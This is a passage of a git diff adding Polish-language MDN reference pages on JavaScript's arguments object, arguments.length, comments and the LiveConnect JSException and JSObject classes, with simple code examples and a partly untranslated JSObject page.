+<pre class="eval">arguments[1] = 'nowa wartosc';
+</pre>
+<div class="note"><b>Uwaga:</b> silnik JavaScript <a href="pl/SpiderMonkey">SpiderMonkey</a> posiada <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=292215">bug</a>, w którym nie można do <code>arguments{{ mediawiki.external('n') }}</code> przypisać wartości, jeśli <code>n</code> jest większe niż liczba formalnych lub rzeczywistych parametrów.
+Błąd ten został usunięty w silniku JavaScript 1.6.</div>
+<p>Obiekt <code>arguments</code> nie jest tablicą. Jest do niej podobny, lecz nie posiada żadnej z własności tablicy poza <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Funkcje/arguments/length">length</a></code>. Przykładowo nie posiada on metody <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Array/pop">pop</a></code>. Może być on jednak skonwertowany do prawdziwej tablicy:
+</p>
+<pre class="eval"> var args = Array.prototype.slice.call(arguments);
+</pre>
+<p>Obiekt <code>arguments</code> dostępny jest wyłącznie wewnątrz ciała funkcji. Próba dostępu do obiektu <code>arguments</code> spoza części deklaracyjnej funkcji zakończy się błędem.
+</p><p>Możesz użyć obiektu <code>arguments</code>, jeśli funkcja wywołana jest z większą liczbą argumentów niż zostało to zadeklarowane. Jest to użyteczne dla funkcji, które wywoływać można ze zmienną liczbą argumentów.
+Aby określić liczbę argumentów przekazywanych do funkcji można użyć własności
+<code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Funkcje/arguments/length">arguments.length</a></code>, a następnie skorzystać z każdego z argumentów używając obiektu <code>arguments</code> (aby określić liczbę argumentów zadeklarowanych podczas definiowania funkcji, skorzystać można z własności <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Function/length">Function.length</a></code>).
+</p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<dl><dt> <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Funkcje/arguments/callee">arguments.callee</a></code></dt><dd> Określa ciało funkcji aktualnie wykonywanej funkcji.
+</dd></dl>
+<dl><dt> <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Funkcje/arguments/caller">arguments.caller</a></code> {{ Deprecated_inline() }}</dt><dd> Określa nazwę funkcji, która wywołała aktualnie wykonywaną funkcję.
+</dd></dl>
+<dl><dt> <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Funkcje/arguments/length">arguments.length</a></code></dt><dd> Określa liczbę argumentów przekazywanych do funkcji.
+</dd></dl>
+<h3 id="Zgodno.C5.9B.C4.87_wsteczna" name="Zgodno.C5.9B.C4.87_wsteczna"> Zgodność wsteczna </h3>
+<h4 id="JavaScript_1.3_i_wcze.C5.9Bniejsze_wersje" name="JavaScript_1.3_i_wcze.C5.9Bniejsze_wersje"> JavaScript 1.3 i wcześniejsze wersje </h4>
+<p>Oprócz dostępności jako zmienna lokalna, obiekt <code>arguments</code> jest również własnością obiektu <code>Function</code> i może być poprzedzony nazwą funkcji. Na przykład, jeżeli do funkcji <code>myFunc</code> są przekazywane trzy argumenty o nazwie <code>arg1</code>, <code>arg2</code>, i <code>arg3</code>, można odwołać się do tych argumentów następująco:
+</p>
+<pre class="eval">myFunc.arguments[0]
+myFunc.arguments[1]
+myFunc.arguments[2]
+</pre>
+<h4 id="JavaScript_1.1_i_1.2" name="JavaScript_1.1_i_1.2"> JavaScript 1.1 i 1.2 </h4>
+<p>Następujące cechy dostępne w JavaScripcie 1.1 i JavaScripcie 1.2 zostały usunięte:
+</p>
+<ul><li> Każda zmienna lokalna funkcji jest własnością obiektu <code>arguments</code>. Na przykład, jeśli funkcja <code>myFunc</code> posiada zmienną lokalną nazwaną <code>myLocalVar</code>, możesz odwołać się do zmiennej jako <code>arguments.myLocalVar</code>.
+</li></ul>
+<ul><li> Każdy argument formalny funkcji jest własnością obiektu <code>arguments</code>. Na przykład, jeżeli funkcja <code>myFunc</code> posiada dwa argumenty o nazwie <code>arg1</code> i <code>arg2</code>, możesz odwołać się do nich jako <code>arguments.arg1</code> i <code>arguments.arg2</code> (możesz także odwołać się do tych argumentów poprzez <code>arguments{{ mediawiki.external(0) }}</code> i <code>arguments{{ mediawiki.external(1) }}</code>).
+</li></ul>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<h4 id="Przyk.C5.82ad:_Definiowanie_funkcji_.C5.82.C4.85cz.C4.85cej_.C5.82a.C5.84cuchy_znak.C3.B3w" name="Przyk.C5.82ad:_Definiowanie_funkcji_.C5.82.C4.85cz.C4.85cej_.C5.82a.C5.84cuchy_znak.C3.B3w"> Przykład: Definiowanie funkcji łączącej łańcuchy znaków </h4>
+<p>Ten przykład definiuje funkcję łączącą kilka łańcuchów znaków. Jedynym formalnym argumentem tej funkcji jest łańcuch znaków, który określa znaki oddzielające poszczególne łączone elementy. Funkcja jest zdefiniowana następująco:
+</p>
+<pre class="eval">function myConcat(separator) {
+ result = ""; // inicjalizacja listy
+ // iteracja pomiędzy argumentami
+ for (var i = 1; i &lt; arguments.length; i++) {
+ result += arguments[i] + separator;
+ }
+ return result;
+}
+</pre>
+<p>Możesz przesłać dowolną liczbę argumentów do tej funkcji, tworząc na ich bazie listę.
+</p>
+<pre class="eval">// zwraca "czerwony, pomaranczowy, niebieski, "
+myConcat(", ", "czerwony", "pomaranczowy", "niebieski");
+
+// zwraca "slon; zyrafa; lew; gepard; "
+myConcat("; ", "slon", "zyrafa", "lew", "gepard");
+
+// zwraca "szalwia. bazylia. oregano. pieprz. pietruszka. "
+myConcat(". ", "szalwia", "bazylia", "oregano", "pieprz", "pietruszka");
+</pre>
+<h4 id="Przyk.C5.82ad:_Definiowanie_funkcji.2C_kt.C3.B3ra_tworzy_list.C4.99_HTML" name="Przyk.C5.82ad:_Definiowanie_funkcji.2C_kt.C3.B3ra_tworzy_list.C4.99_HTML"> Przykład: Definiowanie funkcji, która tworzy listę HTML </h4>
+<p>Ten przykład definiuje funkcję, która tworzy łańcuch znaków reprezentujący kod HTML listy. Jedynym argumentem formalnym tej funkcji jest ciąg znaków, który przyjmuje wartość "<code>u</code>" dla listy nieuporządkowanej, lub "<code>o</code>" w przypadku listy uporządkowanej. Funkcja ta jest zdefiniowana następująco:
+</p>
+<pre>function list(type) {
+ var result = "&lt;" + type + "l&gt;";
+
+ // iteracja pomiędzy argumentami
+ for (var i = 1; i &lt; arguments.length; i++)
+ result += "&lt;li&gt;" + arguments[i] + "&lt;/li&gt;";
+
+ result += "&lt;/" + type + "l&gt;"; // koniec listy
+
+ return result;
+}
+</pre>
+<p>Możesz przekazać funkcji dowolną liczbę argumentów, a ona doda każdy z nich jako kolejną pozycję na liście o wskazanym typie. Przykładowo następujące wywołanie funkcji:
+</p>
+<pre>var listHTML = list("u", "Raz", "Dwa", "Trzy");
+// listHTML zawiera łańcuch "&lt;ul&gt;&lt;li&gt;Raz&lt;/li&gt;&lt;li&gt;Dwa&lt;/li&gt;&lt;li&gt;Trzy&lt;/li&gt;&lt;/ul&gt;"
+</pre>
+<p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Functions/arguments", "es": "es/Referencia_de_JavaScript_1.5/Funciones/arguments", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Fonctions/arguments", "ja": "ja/Core_JavaScript_1.5_Reference/Functions/arguments" } ) }}
diff --git a/files/pl/web/javascript/referencje/funkcje/arguments/length/index.html b/files/pl/web/javascript/referencje/funkcje/arguments/length/index.html
new file mode 100644
index 0000000000..79d54a4f50
--- /dev/null
+++ b/files/pl/web/javascript/referencje/funkcje/arguments/length/index.html
@@ -0,0 +1,59 @@
+---
+title: length
+slug: Web/JavaScript/Referencje/Funkcje/arguments/length
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Functions/arguments/length
+---
+<p>
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p>Określa liczbę argumentów przekazywanych do funkcji.
+</p>
+<table class="fullwidth-table">
+<tbody><tr>
+<td class="header" colspan="2">Własność obiektów <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Funkcje/arguments">arguments</a> i <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Function/arguments">Function.arguments</a> (wycofywana)</td>
+</tr>
+<tr>
+<td>Zaimplementowana w:</td>
+<td>JavaScript 1.1
+<p>JavaScript 1.4: Przenaczono do wycofania <code>length</code> jako własność <code>Function.arguments</code>, zachowano ją natomiast jako własność zmiennej lokalnej <code>arguments</code> funkcji.
+</p>
+</td>
+</tr>
+<tr>
+<td>Wersja ECMA:</td>
+<td>ECMA-262</td>
+</tr>
+</tbody></table>
+<h3 id="Opis" name="Opis"> Opis </h3>
+<p><code>length</code> jest własnością zmiennej lokalnej <code>arguments</code> dostępnej wewnątrz wszystkich obiektów funkcji; <code>length</code> jako własność <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Function/arguments">Function.arguments</a></code> nie jest już używana (również sam obiekt <code>Function.arguments</code> jest wycofywany).
+</p><p><code>arguments.length</code> dostarcza liczbę argumentów przekazywanych obecnie funkcji. Dla porównania, własność <code>Function.length</code> wskazuje ilość argumentów oczekiwanych przez funkcję.
+</p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<h4 id="Przyk.C5.82ad:_Zastosowanie_Function.length_i_arguments.length" name="Przyk.C5.82ad:_Zastosowanie_Function.length_i_arguments.length"> Przykład: Zastosowanie <code>Function.length</code> i <code>arguments.length</code> </h4>
+<p>Następujący przykład przedstawia zastosowanie <code>Function.length</code> i <code>arguments.length</code>.
+</p>
+<pre>function addNumbers(x,y){
+ if (arguments.length == addNumbers.length) {
+ return (x+y)
+ }
+ else return 0
+}
+</pre>
+<p>Jeśli podano więcej niż dwa argumenty funkcji, zostanie zwrócona wartość 0:
+</p>
+<pre>result=addNumbers(3,4,5) // zwraca 0
+result=addNumbers(3,4) // zwraca 7
+result=addNumbers(103,104) // zwraca 207
+</pre>
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3>
+<p><code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Function/length">Function.length</a></code>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Functions/arguments/length", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Fonctions/arguments/length", "ja": "ja/Core_JavaScript_1.5_Reference/Functions/arguments/length" } ) }}
diff --git a/files/pl/web/javascript/referencje/index.html b/files/pl/web/javascript/referencje/index.html
new file mode 100644
index 0000000000..e493d4ad80
--- /dev/null
+++ b/files/pl/web/javascript/referencje/index.html
@@ -0,0 +1,70 @@
+---
+title: Dokumentacja referencyjna JavaScript
+slug: Web/JavaScript/Referencje
+tags:
+ - AJAX
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference
+---
+<h4 id="JsSidebar">{{JsSidebar}}</h4>
+
+<p>Ta część rozdziału JavaScript na MDN służy jako repozytorium faktów dotyczących jezyka JavaScript. Więcej na ten temat na stronie <a href="/pl/docs/Web/JavaScript/Reference/About">O dokumentacji referencyjnej</a>.<br>
+  </p>
+
+<h2 id="Obiekty_globalne">Obiekty globalne</h2>
+
+<p>W tym rozdziale udokumentowano wszystkie <a href="/pl/docs/Web/JavaScript/Reference/Global_Objects">standardowe wbudowane obiekty JavaScript</a>, wraz z ich metodami i właściwościami.<br>
+  </p>
+
+<p>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects', 'Standard_objects_by_category')}}</p>
+
+<h2 id="Instrukcje">Instrukcje</h2>
+
+<p>Rozdział ten dokumentuje wszystkie  <a href="/pl/docs/Web/JavaScript/Reference/Statements">deklaracje i instrukcje JavaScript</a>.</p>
+
+<p>{{page('/en-US/docs/Web/JavaScript/Reference/Statements', 'Statements_and_declarations_by_category')}}</p>
+
+<p> </p>
+
+<h2 id="Wyrażenia_i_operatory">Wyrażenia i operatory</h2>
+
+<p>Udokumentowano tu wszystkie <a href="/pl/docs/Web/JavaScript/Reference/Operators">wyrażenie i operatory JavaScript</a>.</p>
+
+<p>{{page('/en-US/docs/Web/JavaScript/Reference/Operators', 'Expressions_and_operators_by_category')}}</p>
+
+<p> </p>
+
+<h2 id="Funkcje">Funkcje</h2>
+
+<p>W tym rozdziale opisano pracę z <a href="/pl/docs/Web/JavaScript/Reference/Functions">funkcjami JavaScript</a> przy tworzeniu aplikacji.</p>
+
+<ul>
+ <li><a href="/pl/docs/Web/JavaScript/Reference/Functions/arguments"><code>argumenty</code></a></li>
+ <li><a href="/pl/docs/Web/JavaScript/Reference/Functions/Arrow_functions">funkcje strzałkowe</a></li>
+ <li><a href="/pl/docs/Web/JavaScript/Reference/Functions/Default_parameters">parametry domyślne</a></li>
+ <li><a href="/pl/docs/Web/JavaScript/Reference/Functions/rest_parameters">parametry resztowe</a></li>
+</ul>
+
+<p> </p>
+
+<h2 id="Dodatkowe_strony_z_informacjami">Dodatkowe strony z informacjami</h2>
+
+<ul>
+ <li><a href="/pl/docs/Web/JavaScript/Reference/Lexical_grammar">Gramatyka leksykalna</a></li>
+ <li><a href="/pl/docs/Web/JavaScript/Data_structures">Typy danych i struktury danych</a></li>
+ <li><a href="/pl/docs/Web/JavaScript/Reference/Strict_mode">Tryb ścisły</a></li>
+ <li><a href="/pl/docs/Web/JavaScript/Reference/Deprecated_and_obsolete_features">Funkcjonalności zdeprecjonowane</a></li>
+</ul>
+
+<p> </p>
+
+<p> </p>
+
+<p> </p>
+
+<p> </p>
+
+<p> </p>
diff --git a/files/pl/web/javascript/referencje/komentarz/index.html b/files/pl/web/javascript/referencje/komentarz/index.html
new file mode 100644
index 0000000000..4561a31d9b
--- /dev/null
+++ b/files/pl/web/javascript/referencje/komentarz/index.html
@@ -0,0 +1,54 @@
+---
+title: Komentarz
+slug: Web/JavaScript/Referencje/Komentarz
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Lexical_grammar#Comments
+---
+<p> </p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Uwagi od programisty wyjaśniające działanie kodu. Komentarze są ignorowane przez interpreter.</p>
+<table class="fullwidth-table">
+ <tbody>
+ <tr>
+ <td class="header" colspan="2">Komentarze</td>
+ </tr>
+ <tr>
+ <td>Zaimplementowane w:</td>
+ <td>JavaScript 1.0, NES2.0</td>
+ </tr>
+ <tr>
+ <td>Wersja ECMA:</td>
+ <td>ECMA-262</td>
+ </tr>
+ </tbody>
+</table>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<p><code>// tekst komentarza </code></p>
+<p><code>/* wieloliniowy tekst komentarza */ </code></p>
+<h3 id="Opis" name="Opis">Opis</h3>
+<p>JavaScript obsługuje komentarze w stylu Javy:</p>
+<ul>
+ <li>Komentarze zawarte w jednej linii poprzedzone są dwoma ukośnikami (<code>//</code>),</li>
+ <li>Komentarze zawarte w wielu liniach poprzedzone są znakami <code>/*</code>, a zakończone znakami <code>*/</code>. Komentarze wieloliniowe
+ <i>
+ nie mogą</i>
+ być zagnieżdżane.</li>
+</ul>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3>
+<h4 id="Przyk.C5.82ad:_Komentarz_jednoliniowy" name="Przyk.C5.82ad:_Komentarz_jednoliniowy">Przykład: Komentarz jednoliniowy</h4>
+<pre>// To jest komentarz jednoliniowy.
+var intAge = 37; //To jest inny komentarz
+</pre>
+<h4 id="Przyk.C5.82ad:_Komentarz_wieloliniowy" name="Przyk.C5.82ad:_Komentarz_wieloliniowy">Przykład: Komentarz wieloliniowy</h4>
+<pre>/* To jest komentarz wieloliniowy.
+ Może być dowolnie długi i zawierać dowolne znaki,
+ za wyjątkiem innych komentarzy wieloliniowych. */
+</pre>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Comments/comment", "es": "es/Referencia_de_JavaScript_1.5/Comentarios/comentario", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Commentaires", "ja": "ja/Core_JavaScript_1.5_Reference/Comments/comment" } ) }}</p>
diff --git a/files/pl/web/javascript/referencje/liveconnect/index.html b/files/pl/web/javascript/referencje/liveconnect/index.html
new file mode 100644
index 0000000000..74f6c075d4
--- /dev/null
+++ b/files/pl/web/javascript/referencje/liveconnect/index.html
@@ -0,0 +1,23 @@
+---
+title: LiveConnect
+slug: Web/JavaScript/Referencje/LiveConnect
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Archive/Web/LiveConnect/LiveConnect_Reference
+---
+<p>
+</p><p>Ten rozdział opisuje klasy języka Java używane z technologią LiveConnect wraz z ich konstruktorami i metodami. Klasy te pozwalają obiektom języka Java na dostęp do kodu JavaScript.
+</p><p><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/LiveConnect/JSException">JSException</a>
+</p>
+<dl><dd> Publiczna klasa <code>JSException</code> dziedziczy po klasie <code>RuntimeException</code>. Wyjątek ten jest wyrzucany, kiedy kod JavaScriptu zwróci błąd.
+</dd></dl>
+<p><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/LiveConnect/JSObject">JSObject</a>
+</p>
+<dl><dd> Publiczna klasa <code>JSObject</code> dziedziczy po klasie <code>Object</code>. Obiekty JavaScriptu są otaczane instancjami klasy <code>JSObject</code> i przekazywane do kodu Javy, pozwalając Javie na manipulowanie obiektami JavaScriptu.
+</dd></dl>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/LiveConnect", "es": "es/Referencia_de_JavaScript_1.5/LiveConnect" } ) }}
diff --git a/files/pl/web/javascript/referencje/liveconnect/jsexception/index.html b/files/pl/web/javascript/referencje/liveconnect/jsexception/index.html
new file mode 100644
index 0000000000..3d66cc7ac7
--- /dev/null
+++ b/files/pl/web/javascript/referencje/liveconnect/jsexception/index.html
@@ -0,0 +1,93 @@
+---
+title: JSException
+slug: Web/JavaScript/Referencje/LiveConnect/JSException
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Archive/Web/LiveConnect/LiveConnect_Reference/JSException
+---
+<p>
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p>Publiczna klasa<code>JSException</code> rozszerzająca <code>RuntimeException</code>
+</p>
+<pre>java.lang.Object
+ |
+ +----java.lang.Throwable
+ |
+ +----java.lang.Exception
+ |
+ +----java.lang.RuntimeException
+ |
+ +----netscape.javascript.JSException
+</pre>
+<h3 id="Opis" name="Opis"> Opis </h3>
+<p><code>JSException</code> jest wyjątkiem wyrzucanym, kiedy kod JavaScript zwróci błąd.
+</p>
+<h3 id="Podsumowanie_konstruktora" name="Podsumowanie_konstruktora"> Podsumowanie konstruktora </h3>
+<p>Klasa <code>netscape.javascript.JSException</code> posiada następujące konstruktory :
+</p>
+<dl><dt> <code>JSException</code></dt><dd> Przestarzały konstruktor pozwala opcjonalnie na określenie szczegółowego powiadomienia lub innych informacji.
+</dd></dl>
+<h3 id="Podsumowanie_metod" name="Podsumowanie_metod"> Podsumowanie metod </h3>
+<p>Klasa <code>netscape.javascript.JSException</code> posiada następujące metody:
+</p>
+<dl><dt> <code>getWrappedException</code> </dt><dd> Instancja metody <code>getWrappedException</code>.
+</dd></dl>
+<dl><dt> <code>getWrappedExceptionType</code> </dt><dd> Instancja metody <code>getWrappedExceptionType</code> zwraca wartość int mapującą typ obiektu <code>wrappedException</code>.
+</dd></dl>
+<h3 id="Kompatybilno.C5.9B.C4.87_wsteczna" name="Kompatybilno.C5.9B.C4.87_wsteczna"> Kompatybilność wsteczna </h3>
+<h4 id="JavaScript_1.1_do_1.3" name="JavaScript_1.1_do_1.3"> JavaScript 1.1 do 1.3 </h4>
+<p>Klasa <code>JSException</code> miała trzy konstruktory publiczne, które opcjonalnie pobierały argument w postaci ciągu znaków, określającego szczegółowy komunikat lub inne informacje danego wyjątku. Metoda <code>getWrappedException</code> nie była dostępna.
+</p><p>Konstruktory <code>JSException</code>, oznaczone jako przestarzałe w JavaScripcie 1.4, tworzą obiekt <code>JSException</code> z opcjonalnym komunikatem szczegółowym.
+</p>
+<h3 id="Deklaracja" name="Deklaracja"> Deklaracja </h3>
+<pre>1. public JSException()
+
+2. public JSException(String s)
+
+3. public JSException(String s,
+ String filename,
+ int lineno,
+ String source,
+ int tokenIndex)
+</pre>
+<h3 id="Argumenty" name="Argumenty"> Argumenty </h3>
+<dl><dt> <code>s</code> </dt><dd> Szczegółowy komunikat. </dd></dl>
+<dl><dt> <code>filename</code> </dt><dd> Adres URL pliku gdzie wystąpił błąd, o ile jest dostępny. </dd></dl>
+<dl><dt> <code>lineno</code> </dt><dd> Liczba linii w pliku, o ile jest dostępny. </dd></dl>
+<dl><dt> <code>source</code> </dt><dd> Łańcuch znakowy zawierający wykonywany kod JavaScript. </dd></dl>
+<dl><dt> <code>tokenIndex</code> </dt><dd> Indeks w źródłowym łańcuchu znaków, wskazujący miejsce wystąpienia błędu.
+</dd></dl>
+<h3 id="getWrappedException" name="getWrappedException"> <code>getWrappedException</code> </h3>
+<p>Metoda instancji <code>getWrappedException</code>.
+</p>
+<h4 id="Deklaracja_2" name="Deklaracja_2"> Deklaracja </h4>
+<p><code>
+public Object getWrappedException()
+</code>
+</p>
+<h4 id="Opis_2" name="Opis_2"> Opis </h4>
+<p><code>getWrappedException()</code> zwraca obiek reprezentujący wartość faktycznie wyrzuconą przez JavaScript. JavaScript może wyrzucić wartość dowolnego typu. Metoda <code>getWrappedException()</code> pozwala określić, jaki rodzaj wartości jest reprezentowany przez zwracany typ Object.
+</p>
+<h3 id="getWrappedExceptionType" name="getWrappedExceptionType"> <code>getWrappedExceptionType</code> </h3>
+<p>Metoda instancji <code>getWrappedExceptionType</code>.
+</p>
+<h4 id="Deklaracja_3" name="Deklaracja_3"> Deklaracja </h4>
+<p><code>
+public int getWrappedExceptionType()
+</code>
+</p>
+<h4 id="Opis_3" name="Opis_3"> Opis </h4>
+<p><code>getWrappedExceptionType()</code> zwraca wartość <code>int</code>, pasującą do jednej z następujących statycznych <code>int</code> pól klasy <code>JSException</code>:
+</p>
+<ul><li> <code>EXCEPTION_TYPE_EMPTY</code>
+</li><li> <code>EXCEPTION_TYPE_VOID</code>
+</li><li> <code>EXCEPTION_TYPE_OBJECT</code>
+</li><li> <code>EXCEPTION_TYPE_FUNCTION</code>
+</li><li> <code>EXCEPTION_TYPE_STRING</code>
+</li><li> <code>EXCEPTION_TYPE_NUMBER</code> </li><li> <code>EXCEPTION_TYPE_BOOLEAN</code>
+</li></ul>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/LiveConnect/JSException" } ) }}
diff --git a/files/pl/web/javascript/referencje/liveconnect/jsobject/index.html b/files/pl/web/javascript/referencje/liveconnect/jsobject/index.html
new file mode 100644
index 0000000000..c556510362
--- /dev/null
+++ b/files/pl/web/javascript/referencje/liveconnect/jsobject/index.html
@@ -0,0 +1,186 @@
+---
+title: JSObject
+slug: Web/JavaScript/Referencje/LiveConnect/JSObject
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+translation_of: Archive/Web/LiveConnect/LiveConnect_Reference/JSObject
+---
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>The public final class <code>netscape.javascript.JSObject</code> extends <code>Object</code>.</p>
+
+<pre>java.lang.Object
+ |
+ +----netscape.javascript.JSObject
+</pre>
+
+<h3 id="Opis" name="Opis">Opis</h3>
+
+<p>Obiekty JavaScript są are wrapped in an instance of the class <code>netscape.javascript.JSObject</code> and passed to Java. <code>JSObject</code> allows Java to manipulate JavaScript objects.</p>
+
+<p>When a JavaScript object is sent to Java, the runtime engine creates a Java wrapper of type <code>JSObject</code>; when a <code>JSObject</code> is sent from Java to JavaScript, the runtime engine unwraps it to its original JavaScript object type. The <code>JSObject</code> class provides a way to invoke JavaScript methods and examine JavaScript properties.</p>
+
+<p>Any JavaScript data brought into Java is converted to Java data types. When the <code>JSObject</code> is passed back to JavaScript, the object is unwrapped and can be used by JavaScript code. Zobacz <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5">Przewodnik po języku JavaScript 1.5</a> w celu uzyskania dodatkowych informacji o konwersji typu danych.</p>
+
+<h3 id="Podsumowanie_metod" name="Podsumowanie_metod">Podsumowanie metod</h3>
+
+<p>Klasa <code>netscape.javascript.JSObject</code> posiada następujące metody:</p>
+
+<dl>
+ <dt><code>{{ Anch("call") }}</code> </dt>
+ <dd>Wywołuje metodę JavaScript.</dd>
+</dl>
+
+<dl>
+ <dt><code>{{ Anch("equals") }}</code> </dt>
+ <dd>Określa, jeśli dwa obiekty <code>JSObject</code> odnoszą się do tej samej instancji.</dd>
+</dl>
+
+<dl>
+ <dt><code>{{ Anch("eval") }}</code> </dt>
+ <dd>Wykonuje wyrażenie JavaScript.</dd>
+</dl>
+
+<dl>
+ <dt><code>{{ Anch("getMember") }}</code> </dt>
+ <dd>Odzyskuje wartość własności obiektu JavaScript.</dd>
+</dl>
+
+<dl>
+ <dt><code>{{ Anch("getSlot") }}</code> </dt>
+ <dd>Odzyskuje wartość elementu tablicy obiektu JavaScript.</dd>
+</dl>
+
+<dl>
+ <dt><code>{{ Anch("removeMember") }}</code> </dt>
+ <dd>Usuwa własność obiektu JavaScript.</dd>
+</dl>
+
+<dl>
+ <dt><code>{{ Anch("setMember") }}</code> </dt>
+ <dd>Ustawia wartość własności obiektu JavaScript.</dd>
+</dl>
+
+<dl>
+ <dt><code>{{ Anch("setSlot") }}</code> </dt>
+ <dd>Ustawia wartość elementu tablicy obiektu JavaScript.</dd>
+</dl>
+
+<dl>
+ <dt><code>{{ Anch("toString") }}</code> </dt>
+ <dd>Konwertuje JSObject do łańcucha znaków.</dd>
+</dl>
+
+<p>Klasa <code>netscape.javascript.JSObject</code> posiada następujące statyczne metody:</p>
+
+<dl>
+ <dt><code>{{ Anch("getWindow") }}</code> </dt>
+ <dd>Pobiera <code>JSObject</code> dla okna stanowiącego dany aplet.</dd>
+</dl>
+
+<h4 id="call" name="call">call</h4>
+
+<p>Metoda. Wywołuje metodę JavaScript. Równoważny z "<code>this.methodName(args{{ mediawiki.external(0) }}, args{{ mediawiki.external(1) }}, ...)</code>" w JavaScript.</p>
+
+<h5 id="Deklaracja" name="Deklaracja">Deklaracja</h5>
+
+<pre>public Object call(String methodName,
+ Object args[])
+</pre>
+
+<h4 id="equals" name="equals">equals</h4>
+
+<p>Metoda. Określona, jeśli dwa obiekty <code>JSObject</code> odnoszą się do tej samej instancji.</p>
+
+<p>Przesłania: <code>equals</code> w klasie <code>java.lang.Object</code></p>
+
+<h5 id="Deklaracja_2" name="Deklaracja_2">Deklaracja</h5>
+
+<pre>public boolean equals(Object obj)
+</pre>
+
+<h5 id="Kompatybilno.C5.9B.C4.87_wsteczna" name="Kompatybilno.C5.9B.C4.87_wsteczna">Kompatybilność wsteczna</h5>
+
+<p><strong>JavaScript 1.3</strong>. W JavaScript 1.3 i wersjach wcześniejszych, możemy zastosować wcześniejsze metody równości <code>java.lang.Object</code> lub operator <code>==</code> do porównania dwóch obiektów <code>JSObject</code>.</p>
+
+<p>W większości ostatnich wersji, samo <code>JSObject</code> potrafi wyświetlić jako obiekt Javy. Można użyć metody equals do określenia gdzie dwa obiekty <code>JSObjects</code> odnoszą się do tej samej instancji.</p>
+
+<h4 id="eval" name="eval">eval</h4>
+
+<p>Metoda. Wykonuje wyrażenia JavaScript. Wyrażenie jest łańcuchem znakowym kodu źródłowego JavaScript, który będzie wykonany w kontekście pobierania przez "this".</p>
+
+<h5 id="Deklaracja_3" name="Deklaracja_3">Deklaracja</h5>
+
+<pre>public Object eval(String s)
+</pre>
+
+<h4 id="getMember" name="getMember">getMember</h4>
+
+<p>Metoda. Odzyskuje wartość własności obiektu JavaScript. Równoważna do "<code>this.name</code>" w JavaScript.</p>
+
+<h5 id="Deklaracja_4" name="Deklaracja_4">Deklaracja</h5>
+
+<pre>public Object getMember(String name)
+</pre>
+
+<h4 id="getSlot" name="getSlot">getSlot</h4>
+
+<p>Metoda. Odzyskuje wartość elementu tablicy obiektu w JavaScript. Równoważna do "<code>this{{ mediawiki.external('index') }}</code>" w JavaScript.</p>
+
+<h5 id="Deklaracja_5" name="Deklaracja_5">Deklaracja</h5>
+
+<pre>public Object getSlot(int index)
+</pre>
+
+<h4 id="getWindow" name="getWindow">getWindow</h4>
+
+<p>Metoda statyczna. Zwraca <code>JSObject</code> dla okna stanowiącego dany aplet. Ta metoda jest użyteczna tylko po stronie klienta (client-side) w JavaScripcie.</p>
+
+<h5 id="Deklaracja_6" name="Deklaracja_6">Deklaracja</h5>
+
+<pre>public static JSObject getWindow(Applet applet)
+</pre>
+
+<h4 id="removeMember" name="removeMember">removeMember</h4>
+
